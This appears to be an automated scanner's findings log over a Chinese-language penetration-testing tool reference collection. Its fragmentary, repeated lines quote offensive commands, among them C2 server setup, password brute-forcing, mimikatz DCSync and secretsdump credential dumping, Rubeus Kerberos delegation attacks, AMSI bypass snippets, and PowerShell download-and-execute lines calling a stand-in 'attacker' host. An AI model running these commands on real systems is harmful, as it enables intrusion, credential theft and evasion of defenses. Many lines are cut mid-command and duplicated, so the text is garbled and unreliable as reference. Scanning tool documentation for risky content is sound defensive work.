persist-registry` - Malleable C2: `# 使用C2 Profile伪装流量: # https://github.com/rsmudge/Malleable-C2-Profiles - Network accessline 175
- Malleable C2: `# 使用C2 Profile伪装流量: # https://github.com/rsmudge/Malleable-C2-Profiles ./teamserver ip pass jquery-c2.4.0.profile` - Network accessline 176
# https://github.com/rsmudge/Malleable-C2-Profiles - Network accessline 177
./teamserver ip pass jquery-c2.4.0.profile` External References: - https://www.cobaltstrike.com/ - Network accessline 178
External References: - https://www.cobaltstrike.com/ ## Sliver - Network accessline 179
- https://www.cobaltstrike.com/ - Network accessline 185
开源跨平台红队C2框架,Cobalt Strike替代品 Installation: curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest - Network accessline 186
Installation: curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest Representative Commands: - Dangerous shell operationline 187
curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest - Network accessline 187
curl https://sliver.sh/install | sudo bash / go install github.com/BishopFox/sliver/client@latest - Network accessline 203
pivots tcp --bind 0.0.0.0:9050` External References: - https://github.com/BishopFox/sliver - Network accessline 204
External References: - https://github.com/BishopFox/sliver ## Mythic - Network accessline 205
- https://github.com/BishopFox/sliver - Network accessline 211
模块化C2框架,支持多种Agent和自定义扩展 Installation: git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start - Network accessline 212
Installation: git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start Representative Commands: - Dangerous shell operationline 213
git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start - Network accessline 213
git clone https://github.com/its-a-feature/Mythic && cd Mythic && ./install_docker_ubuntu.sh && sudo ./mythic-cli start - Network accessline 214
Representative Commands: - 安装Agent: `sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon` - Dangerous shell operationline 215
- 安装Agent: `sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo - Network accessline 215
- 安装Agent: `sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo - Dangerous shell operationline 216
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon` - Network accessline 216
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon` - Network accessline 217
- 访问Web界面: `https://attacker_ip:7443 - Access to secretsline 219
[Credential-related source omitted] - Network accessline 224
# 4. 生成Payload下载` External References: - https://github.com/its-a-feature/Mythic - Network accessline 226
- https://github.com/its-a-feature/Mythic
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-05-password-attacks.md
- Network accessline 18
- MySQL爆破: `hydra -l root -P wordlist.txt mysql://target_ip` External References: - https://github.com/vanhauser-thc/thc-hydra - Network accessline 19
External References: - https://github.com/vanhauser-thc/thc-hydra ## John the Ripper - Network accessline 20
- https://github.com/vanhauser-thc/thc-hydra - Network accessline 36
john --wordlist=wordlist.txt zip.hash` External References: - https://www.openwall.com/john/doc/ - Network accessline 37
External References: - https://www.openwall.com/john/doc/ ## Hashcat - Network accessline 38
- https://www.openwall.com/john/doc/ - Network accessline 57
- 组合攻击: `hashcat -m 0 -a 1 hash.txt wordlist1.txt wordlist2.txt` External References: - https://hashcat.net/wiki/ - Network accessline 58
External References: - https://hashcat.net/wiki/ ## Kerbrute - Network accessline 59
- https://hashcat.net/wiki/ - Network accessline 72
- 域验证: `kerbrute -d domain.com --dc dc_ip user:password` External References: - https://github.com/ropnop/kerbrute - Network accessline 73
External References: - https://github.com/ropnop/kerbrute ## Medusa - Network accessline 74
- https://github.com/ropnop/kerbrute - Network accessline 87
- 批量爆破: `medusa -H hosts.txt -U users.txt -P pass.txt -M ssh -t 3 -T 5` External References: - https://github.com/jmk-foofus/medusa - Network accessline 88
External References: - https://github.com/jmk-foofus/medusa ## Ncrack - Network accessline 89
- https://github.com/jmk-foofus/medusa - Network accessline 101
- 联动Nmap: `ncrack -iX nmap_scan.xml -U users.txt -P pass.txt` External References: - https://nmap.org/ncrack/ - Network accessline 102
External References: - https://nmap.org/ncrack/ ## Crowbar - Network accessline 103
- https://nmap.org/ncrack/ - Network accessline 115
- VNC爆破: `crowbar -b vnckey -s target_ip/32 -p password -k /path/to/keys/` External References: - https://github.com/galkan/crowbar - Network accessline 116
External References: - https://github.com/galkan/crowbar ## Patator - Network accessline 117
- https://github.com/galkan/crowbar - Network accessline 126
[Credential-related source omitted] - Network accessline 127
[Credential-related source omitted] - Network accessline 128
- HTTP表单爆破: `patator http_fuzz url="https://target.com/login" method=POST body="user=FILE0&pass=FILE1" 0=users.txt 1=pass.txt -x ignore:fgrep="Login failed"` - Network accessline 129
[Credential-related source omitted] - Network accessline 130
External References: - https://github.com/lanjelot/patator ## CrackStation - Network accessline 131
- https://github.com/lanjelot/patator - Network accessline 137
在线哈希查询和离线超大字典 Installation: 在线: https://crackstation.net / 下载字典: https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm - Network accessline 138
Installation: 在线: https://crackstation.net / 下载字典: https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm Representative Commands: - Network accessline 139
在线: https://crackstation.net / 下载字典: https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm - Network accessline 140
Representative Commands: - 在线查询: `# 访问 https://crackstation.net # 输入哈希值(支持MD5/SHA1/SHA256等) - Network accessline 141
- 在线查询: `# 访问 https://crackstation.net - Network accessline 143
# 支持批量查询(每行一个哈希)` - 下载字典: `# CrackStation字典(15GB+): # https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm - Network accessline 144
- 下载字典: `# CrackStation字典(15GB+): # https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm # 配合hashcat使用: - Network accessline 145
# https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm - Network accessline 147
hashcat -m 0 hashes.txt crackstation.txt` External References: - https://crackstation.net - Network accessline 148
External References: - https://crackstation.net ## SecLists字典 - Network accessline 149
- https://crackstation.net - Network accessline 155
安全测试人员必备的字典集合(目录、密码、用户名、Payload等) Installation: apt install seclists / git clone https://github.com/danielmiessler/SecLists - Network accessline 156
Installation: apt install seclists / git clone https://github.com/danielmiessler/SecLists Representative Commands: - Network accessline 157
apt install seclists / git clone https://github.com/danielmiessler/SecLists - Network accessline 176
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt` External References: - https://github.com/danielmiessler/SecLists - Network accessline 177
External References: - https://github.com/danielmiessler/SecLists ## RockYou字典 - Network accessline 178
- https://github.com/danielmiessler/SecLists - Network accessline 184
来自2009年RockYou数据泄露的经典密码字典(1400万+) Installation: # Kali自带: gzip -d /usr/share/wordlists/rockyou.txt.gz / 或下载: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt - Network accessline 185
Installation: # Kali自带: gzip -d /usr/share/wordlists/rockyou.txt.gz / 或下载: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt Representative Commands: - Network accessline 186
# Kali自带: gzip -d /usr/share/wordlists/rockyou.txt.gz / 或下载: https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt - Network accessline 197
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target` External References: - https://github.com/brannondorsey/naive-hashcat/releases - Network accessline 199
- https://github.com/brannondorsey/naive-hashcat/releases
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-06-intranet-penetration.md
- Network accessline 18
- 执行命令: `crackmapexec smb 192.168.1.100 -u admin -p password -x "whoami"` External References: - https://mpgn.gitbook.io/crackmapexec/ - Network accessline 19
External References: - https://mpgn.gitbook.io/crackmapexec/ ## Impacket - Network accessline 20
- https://mpgn.gitbook.io/crackmapexec/ - Network accessline 34
- SecretsDump: `secretsdump.py domain/user:password@target_ip` External References: - https://github.com/SecureAuthCorp/impacket - Network accessline 35
External References: - https://github.com/SecureAuthCorp/impacket ## Responder - Network accessline 36
- https://github.com/SecureAuthCorp/impacket - Network accessline 50
- 禁用SMB: `responder -I eth0 --disable-smb` External References: - https://github.com/lgandx/Responder - Network accessline 51
External References: - https://github.com/lgandx/Responder ## Evil-WinRM - Network accessline 52
- https://github.com/lgandx/Responder - Network accessline 68
Invoke-Mimikatz` External References: - https://github.com/Hackplayers/evil-winrm - Network accessline 69
External References: - https://github.com/Hackplayers/evil-winrm ## ProxyChains - Network accessline 70
- https://github.com/Hackplayers/evil-winrm - Network accessline 89
- 随机链: `random_chain` External References: - https://github.com/haad/proxychains - Network accessline 90
External References: - https://github.com/haad/proxychains ## BloodHound - Network accessline 91
- https://github.com/haad/proxychains - Dangerous shell operationline 101
- 启动Neo4j: `sudo neo4j console` - Network accessline 102
- 启动BloodHound: `bloodhound` - SharpHound采集: `SharpHound.exe -c All` - PowerShell采集: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All` - Network accessline 103
- SharpHound采集: `SharpHound.exe -c All` - PowerShell采集: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All` - Python采集: `bloodhound-python -u user -p password -d domain.c - Network accessline 104
- PowerShell采集: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All` - Network accessline 105
- Python采集: `bloodhound-python -u user -p password -d domain.com -ns dc_ip` External References: - https://bloodhound.readthedocs.io/ - Network accessline 106
External References: - https://bloodhound.readthedocs.io/ ## SharpHound - Network accessline 107
- https://bloodhound.readthedocs.io/ - Network accessline 121
- 采集方法: `SharpHound.exe -c Default,ACL,Trusts,Container` External References: - https://github.com/BloodHoundAD/BloodHound - Network accessline 122
External References: - https://github.com/BloodHoundAD/BloodHound ## SharpSMBClient - Network accessline 123
- https://github.com/BloodHoundAD/BloodHound - Network accessline 136
- 上传文件: `SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path` External References: - https://github.com/0xthirteen/SharpSMBClient - Network accessline 137
External References: - https://github.com/0xthirteen/SharpSMBClient ## PowerSploit - Network accessline 138
- https://github.com/0xthirteen/SharpSMBClient - Network accessline 146
下载脚本文件 Representative Commands: - 加载PowerView: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")` - Network accessline 147
Representative Commands: - 加载PowerView: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")` - 获取域信息: `Get-NetDomain` - Network accessline 148
- 加载PowerView: `IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")` - Network accessline 152
- 获取域控: `Get-NetDomainController` External References: - https://github.com/PowerShellMafia/PowerSploit - Network accessline 153
External References: - https://github.com/PowerShellMafia/PowerSploit ## NetExec - Network accessline 154
- https://github.com/PowerShellMafia/PowerSploit - Network accessline 171
nxc smb target_ip -u admin -p password --ntds` External References: - https://github.com/Pennyw0rth/NetExec - Network accessline 172
External References: - https://github.com/Pennyw0rth/NetExec ## Ligolo-ng - Network accessline 173
- https://github.com/Pennyw0rth/NetExec - Network accessline 179
高级内网隧道代理工具,基于TUN接口 Installation: 下载: https://github.com/nicocha30/ligolo-ng/releases - Network accessline 180
Installation: 下载: https://github.com/nicocha30/ligolo-ng/releases Representative Commands: - Network accessline 181
下载: https://github.com/nicocha30/ligolo-ng/releases - Dangerous shell operationline 184
sudo ip tuntap add user $(whoami) mode tun ligolo - Dangerous shell operationline 185
sudo ip link set ligolo up - Dangerous shell operationline 194
sudo ip route add 10.10.10.0/24 dev ligolo` - Network accessline 194
sudo ip route add 10.10.10.0/24 dev ligolo` External References: - https://github.com/nicocha30/ligolo-ng - Network accessline 195
External References: - https://github.com/nicocha30/ligolo-ng ## SharpHound - Network accessline 196
- https://github.com/nicocha30/ligolo-ng - Network accessline 202
BloodHound的C#数据收集器,在Windows域内收集AD信息 Installation: 下载: https://github.com/BloodHoundAD/SharpHound/releases - Network accessline 203
Installation: 下载: https://github.com/BloodHoundAD/SharpHound/releases Representative Commands: - Network accessline 204
下载: https://github.com/BloodHoundAD/SharpHound/releases - Network accessline 209
- 指定域: `.\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass` External References: - https://github.com/BloodHoundAD/SharpHound - Network accessline 210
External References: - https://github.com/BloodHoundAD/SharpHound ## BloodHound-Python - Network accessline 211
- https://github.com/BloodHoundAD/SharpHound - Network accessline 223
- 指定收集类型: `bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session` External References: - https://github.com/fox-it/BloodHound.py - Network accessline 224
External References: - https://github.com/fox-it/BloodHound.py ## Rubeus - Network accessline 225
- https://github.com/fox-it/BloodHound.py - Network accessline 231
Kerberos攻击工具集,用于票据操作和Kerberos攻击 Installation: 编译: https://github.com/GhostPack/Rubeus / 或使用预编译版 - Network accessline 232
Installation: 编译: https://github.com/GhostPack/Rubeus / 或使用预编译版 Representative Commands: - Network accessline 233
编译: https://github.com/GhostPack/Rubeus / 或使用预编译版 - Network accessline 242
- 委派攻击: `Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt` External References: - https://github.com/GhostPack/Rubeus - Network accessline 243
External References: - https://github.com/GhostPack/Rubeus ## Certipy - Network accessline 244
- https://github.com/GhostPack/Rubeus - Network accessline 257
- Shadow Credentials: `certipy shadow auto -u user@domain.com -p password -account target_user` External References: - https://github.com/ly4k/Certipy - Network accessline 258
External References: - https://github.com/ly4k/Certipy ## LaZagne - Network accessline 259
- https://github.com/ly4k/Certipy - Network accessline 265
自动化本地密码恢复工具,支持数十种应用 Installation: 下载: https://github.com/AlessandroZ/LaZagne/releases - Network accessline 266
Installation: 下载: https://github.com/AlessandroZ/LaZagne/releases Representative Commands: - Network accessline 267
下载: https://github.com/AlessandroZ/LaZagne/releases - Network accessline 275
python3 lazagne.py browsers` External References: - https://github.com/AlessandroZ/LaZagne - Network accessline 276
External References: - https://github.com/AlessandroZ/LaZagne ## Seatbelt - Network accessline 277
- https://github.com/AlessandroZ/LaZagne - Network accessline 283
C#安全审计工具,快速收集Windows系统安全相关信息 Installation: 编译: https://github.com/GhostPack/Seatbelt / 或使用预编译版 - Network accessline 284
Installation: 编译: https://github.com/GhostPack/Seatbelt / 或使用预编译版 Representative Commands: - Network accessline 285
编译: https://github.com/GhostPack/Seatbelt / 或使用预编译版 - Network accessline 290
[Credential-related source omitted] - Network accessline 291
External References: - https://github.com/GhostPack/Seatbelt ## WinPEAS - Network accessline 292
- https://github.com/GhostPack/Seatbelt - Network accessline 298
Windows权限提升辅助脚本,自动发现提权路径 Installation: 下载: https://github.com/carlospolop/PEASS-ng/releases - Network accessline 299
Installation: 下载: https://github.com/carlospolop/PEASS-ng/releases Representative Commands: - Network accessline 300
下载: https://github.com/carlospolop/PEASS-ng/releases - Network accessline 308
winpeasany.exe /quiet > output.txt 2>&1` External References: - https://github.com/carlospolop/PEASS-ng - Network accessline 309
External References: - https://github.com/carlospolop/PEASS-ng ## LinPEAS - Network accessline 310
- https://github.com/carlospolop/PEASS-ng - Network accessline 316
Linux权限提升辅助脚本,自动发现提权路径 Installation: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 317
Installation: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh Representative Commands: - Dangerous shell operationline 318
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 318
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh - Network accessline 320
- 全量扫描: `./linpeas.sh` - 无网络模式: `./linpeas.sh -a -o output.txt` - 内存加载: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash` - Network accessline 321
- 无网络模式: `./linpeas.sh -a -o output.txt` - 内存加载: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash` - 指定检查: `./linpeas.sh -s - Dangerous shell operationline 322
- 内存加载: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash` - Network accessline 322
- 内存加载: `curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash` - Network accessline 326
# -n: 仅网络信息` External References: - https://github.com/carlospolop/PEASS-ng - Network accessline 328
- https://github.com/carlospolop/PEASS-ng
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-07-credential-theft.md
- Network accessline 18
- DCSync: `lsadump::dcsync /domain:domain.com /user:Administrator` External References: - https://github.com/gentilkiwi/mimikatz - Network accessline 19
External References: - https://github.com/gentilkiwi/mimikatz ## Rubeus - Network accessline 20
- https://github.com/gentilkiwi/mimikatz - Network accessline 34
- S4U攻击: `Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target` External References: - https://github.com/GhostPack/Rubeus - Network accessline 35
External References: - https://github.com/GhostPack/Rubeus ## DonPAPI - Network accessline 36
- https://github.com/GhostPack/Rubeus - Network accessline 48
- 批量提取: `donpapi domain/user:password@targets.txt` External References: - https://github.com/login-securite/DonPAPI - Network accessline 50
- https://github.com/login-securite/DonPAPI
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-08-privilege-escalation.md
- Dangerous shell operationline 24
- SUDO配置: `sudo -l - Network accessline 27
find / -perm -222 -type d 2>/dev/null` External References: - https://gtfobins.github.io/ - Network accessline 28
External References: - https://gtfobins.github.io/ ## WinPEAS - Network accessline 29
- https://gtfobins.github.io/ - Network accessline 42
- 保存结果: `winpeas.exe > output.txt` External References: - https://github.com/carlospolop/PEASS-ng - Network accessline 43
External References: - https://github.com/carlospolop/PEASS-ng ## LinPEAS - Network accessline 44
- https://github.com/carlospolop/PEASS-ng - Network accessline 57
- 保存结果: `./linpeas.sh > output.txt` External References: - https://github.com/carlospolop/PEASS-ng - Network accessline 59
- https://github.com/carlospolop/PEASS-ng
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-09-tunneling-and-proxy.md
- Network accessline 18
- 多端口转发: `chisel.exe client attacker_ip:8000 R:80:127.0.0.1:80 R:3389:127.0.0.1:3389` External References: - https://github.com/jpillora/chisel - Network accessline 19
External References: - https://github.com/jpillora/chisel ## Ligolo-ng - Network accessline 20
- https://github.com/jpillora/chisel - Dangerous shell operationline 30
- 启动代理: `sudo proxy -selfcert` - Network accessline 35
- 添加网段: `interface_add_route 10.10.10.0/24` External References: - https://github.com/nicocha30/ligolo-ng - Network accessline 37
- https://github.com/nicocha30/ligolo-ng
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-10-system-commands.md
- Network accessline 29
net start` External References: - https://ss64.com/nt/ - Network accessline 30
External References: - https://ss64.com/nt/ ## NET命令集合 - Network accessline 31
- https://ss64.com/nt/ - Network accessline 43
- 组列表: `net localgroup` External References: - https://ss64.com/nt/ - Network accessline 44
External References: - https://ss64.com/nt/ ## PowerShell AMSI绕过 - Network accessline 45
- https://ss64.com/nt/ - Network accessline 54
- Matt Graeber方式: `$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)` - 内存补丁: `$w='System.Management.Automation.A'+'msiUtils';[Run - Network accessline 55
- 内存补丁: `$w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)` - PowerShell降级: - Network accessline 56
- PowerShell降级: `powershell -version 2 -command "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')"` - Network accessline 57
External References: - https://amsi.fail ## WMIC命令 - Network accessline 58
- https://amsi.fail - Network accessline 75
wmic qfe list` External References: - https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic - Network accessline 76
External References: - https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic ## DSQuery命令 - Network accessline 77
- https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmic - Network accessline 94
- LDAP查询: `dsquery * -filter "(&(objectClass=user)(adminCount=1))" -attr sAMAccountName -limit 0` External References: - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11) - Network accessline 95
External References: - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11) ## AD Explorer - Network accessline 96
- https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11) - Network accessline 102
Sysinternals出品的Active Directory浏览器和快照工具 Installation: 下载: https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer - Network accessline 103
Installation: 下载: https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer Representative Commands: - Network accessline 104
下载: https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer - Network accessline 114
# 对比AD变更(新用户/权限变更等)` External References: - https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer - Network accessline 115
External References: - https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer ## ldeep - Network accessline 116
- https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer - Network accessline 133
ldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols` External References: - https://github.com/franc-pentest/ldeep - Network accessline 134
External References: - https://github.com/franc-pentest/ldeep ## BloodHound Cypher - Network accessline 135
- https://github.com/franc-pentest/ldeep - Network accessline 147
- 无约束委派: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name` External References: - https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/ - Network accessline 149
- https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-11-information-gathering.md
- Network accessline 18
- 操作系统探测: `nmap -O target_ip` External References: - https://nmap.org/docs.html - Network accessline 19
External References: - https://nmap.org/docs.html ## Gobuster - Network accessline 20
- https://nmap.org/docs.html - Network accessline 28
apt install gobuster Representative Commands: - 目录爆破: `gobuster dir -u http://target.com -w wordlist.txt` - Network accessline 29
Representative Commands: - 目录爆破: `gobuster dir -u http://target.com -w wordlist.txt` - 指定扩展名: `gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt` - Network accessline 30
- 目录爆破: `gobuster dir -u http://target.com -w wordlist.txt` - Network accessline 31
- 指定扩展名: `gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt` - Network accessline 32
[Credential-related source omitted] - Network accessline 33
- 使用Cookie: `gobuster dir -u http://target.com -w wordlist.txt -c "PHPSESSID=xxx"` - Network accessline 34
[Credential-related source omitted] - Network accessline 35
External References: - https://github.com/OJ/gobuster ## Nuclei - Network accessline 36
- https://github.com/OJ/gobuster - Network accessline 44
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest Representative Commands: - 基础扫描: `nuclei -u http://target.com` - Network accessline 45
Representative Commands: - 基础扫描: `nuclei -u http://target.com` - 指定模板: `nuclei -u http://target.com -t cves/` - Network accessline 46
- 基础扫描: `nuclei -u http://target.com` - Network accessline 47
- 指定模板: `nuclei -u http://target.com -t cves/` - Network accessline 48
- 严重级别: `nuclei -u http://target.com -severity critical,high` - Network accessline 50
- 更新模板: `nuclei -update-templates` External References: - https://nuclei.projectdiscovery.io/ - Network accessline 51
External References: - https://nuclei.projectdiscovery.io/ ## Seatbelt - Network accessline 52
- https://nuclei.projectdiscovery.io/ - Network accessline 66
- 网络信息: `Seatbelt.exe -group=network` External References: - https://github.com/GhostPack/Seatbelt - Network accessline 67
External References: - https://github.com/GhostPack/Seatbelt ## SearchSploit - Network accessline 68
- https://github.com/GhostPack/Seatbelt - Network accessline 82
- 复制漏洞: `searchsploit -m exploits/xxx.py` External References: - https://www.exploit-db.com/ - Network accessline 83
External References: - https://www.exploit-db.com/ ## Amass - Network accessline 84
- https://www.exploit-db.com/ - Network accessline 98
- 保存结果: `amass enum -d target.com -o output.txt` External References: - https://github.com/OWASP/Amass - Network accessline 99
External References: - https://github.com/OWASP/Amass ## Subfinder - Network accessline 100
- https://github.com/OWASP/Amass - Network accessline 114
- 批量处理: `subfinder -dL domains.txt` External References: - https://github.com/projectdiscovery/subfinder - Network accessline 115
External References: - https://github.com/projectdiscovery/subfinder ## HTTPX - Network accessline 116
- https://github.com/projectdiscovery/subfinder ## HTTPX - ID: httpx-tool - Network accessline 130
- 保存结果: `cat urls.txt | httpx -o output.txt` External References: - https://github.com/projectdiscovery/httpx - Network accessline 131
External References: - https://github.com/projectdiscovery/httpx ## Masscan - Network accessline 132
- https://github.com/projectdiscovery/httpx - Network accessline 138
最快的互联网端口扫描器,可在5分钟内扫描整个互联网 Installation: apt install masscan / brew install masscan / 源码编译: git clone https://github.com/robertdavidgraham/masscan && cd masscan && make - Network accessline 139
Installation: apt install masscan / brew install masscan / 源码编译: git clone https://github.com/robertdavidgraham/masscan && cd masscan && make Representative Commands: - Network accessline 140
apt install masscan / brew install masscan / 源码编译: git clone https://github.com/robertdavidgraham/masscan && cd masscan && make - Network accessline 148
- 扫描Banner: `masscan -p80,443 target_ip/24 --banners --rate=500` External References: - https://github.com/robertdavidgraham/masscan - Network accessline 149
External References: - https://github.com/robertdavidgraham/masscan ## Dirsearch - Network accessline 150
- https://github.com/robertdavidgraham/masscan - Network accessline 156
高级Web目录和文件暴力破解工具 Installation: pip3 install dirsearch / git clone https://github.com/maurosoria/dirsearch - Network accessline 157
Installation: pip3 install dirsearch / git clone https://github.com/maurosoria/dirsearch Representative Commands: - Network accessline 158
pip3 install dirsearch / git clone https://github.com/maurosoria/dirsearch - Network accessline 159
Representative Commands: - 基础目录扫描: `dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js` - 使用自定义字典: `dirsearch -u https://target.com -w /usr/share/wordlists/dirb/big.txt --delay=0.5` - Network accessline 160
- 基础目录扫描: `dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js` - Network accessline 161
- 使用自定义字典: `dirsearch -u https://target.com -w /usr/share/wordlists/dirb/big.txt --delay=0.5` - Network accessline 162
- 递归扫描: `dirsearch -u https://target.com -e php -r -R 3 --exclude-status=403,404` - Network accessline 163
[Credential-related source omitted] - Network accessline 164
- 输出结果: `dirsearch -u https://target.com -o result.json --format=json` - Network accessline 165
External References: - https://github.com/maurosoria/dirsearch ## FeroxBuster - Network accessline 166
- https://github.com/maurosoria/dirsearch - Network accessline 172
用Rust编写的高性能递归目录发现工具 Installation: apt install feroxbuster / cargo install feroxbuster / 下载二进制: https://github.com/epi052/feroxbuster/releases - Network accessline 173
Installation: apt install feroxbuster / cargo install feroxbuster / 下载二进制: https://github.com/epi052/feroxbuster/releases Representative Commands: - Network accessline 174
apt install feroxbuster / cargo install feroxbuster / 下载二进制: https://github.com/epi052/feroxbuster/releases - Network accessline 175
Representative Commands: - 基础扫描: `feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt` - 递归+过滤: `feroxbuster -u https://target.com -d 3 -C 403,404,500 -x php,asp,html --rate-limit 50` - Network accessline 176
- 基础扫描: `feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt` - Network accessline 177
- 递归+过滤: `feroxbuster -u https://target.com -d 3 -C 403,404,500 -x php,asp,html --rate-limit 50` - Network accessline 178
[Credential-related source omitted] - Network accessline 179
- 自动校准: `feroxbuster -u https://target.com --auto-tune --smart` - Network accessline 180
External References: - https://github.com/epi052/feroxbuster ## MassDNS - Network accessline 181
- https://github.com/epi052/feroxbuster - Network accessline 187
高性能DNS解析器,用于子域名暴力枚举 Installation: git clone https://github.com/blechschmidt/massdns && cd massdns && make - Network accessline 188
Installation: git clone https://github.com/blechschmidt/massdns && cd massdns && make Representative Commands: - Network accessline 189
git clone https://github.com/blechschmidt/massdns && cd massdns && make - Network accessline 194
- 高并发解析: `massdns -r resolvers.txt -t A -o S -w output.txt --hashmap-size 10000 -s 10000 subs.txt` External References: - https://github.com/blechschmidt/massdns - Network accessline 195
External References: - https://github.com/blechschmidt/massdns ## Amass - Network accessline 196
- https://github.com/blechschmidt/massdns - Network accessline 211
amass db -show -d target.com` External References: - https://github.com/owasp-amass/amass - Network accessline 212
External References: - https://github.com/owasp-amass/amass ## Subfinder - Network accessline 213
- https://github.com/owasp-amass/amass - Network accessline 226
- 多域名批量: `subfinder -dL domains.txt -o all_subs.txt -t 30` External References: - https://github.com/projectdiscovery/subfinder - Network accessline 227
External References: - https://github.com/projectdiscovery/subfinder ## HTTPX - Network accessline 228
- https://github.com/projectdiscovery/subfinder ## HTTPX - ID: httpx - Network accessline 241
- 自定义探测: `httpx -l urls.txt -path "/api/v1/health,/admin,/.env,/robots.txt" -mc 200` External References: - https://github.com/projectdiscovery/httpx - Network accessline 242
External References: - https://github.com/projectdiscovery/httpx ## WhatWeb - Network accessline 243
- https://github.com/projectdiscovery/httpx - Network accessline 251
apt install whatweb / gem install whatweb Representative Commands: - 基础指纹: `whatweb https://target.com` - Network accessline 252
Representative Commands: - 基础指纹: `whatweb https://target.com` - 详细模式: `whatweb -v https://target.com -a 3` - Network accessline 253
- 基础指纹: `whatweb https://target.com` - Network accessline 254
- 详细模式: `whatweb -v https://target.com -a 3` - Network accessline 255
- 批量扫描: `whatweb --input-file=urls.txt --log-json=results.json` - 指定插件: `whatweb --info-plugins whatweb -p WordPress,Joomla,Drupal https://target.com` - Network accessline 256
- 指定插件: `whatweb --info-plugins whatweb -p WordPress,Joomla,Drupal https://target.com` External References: - Network accessline 257
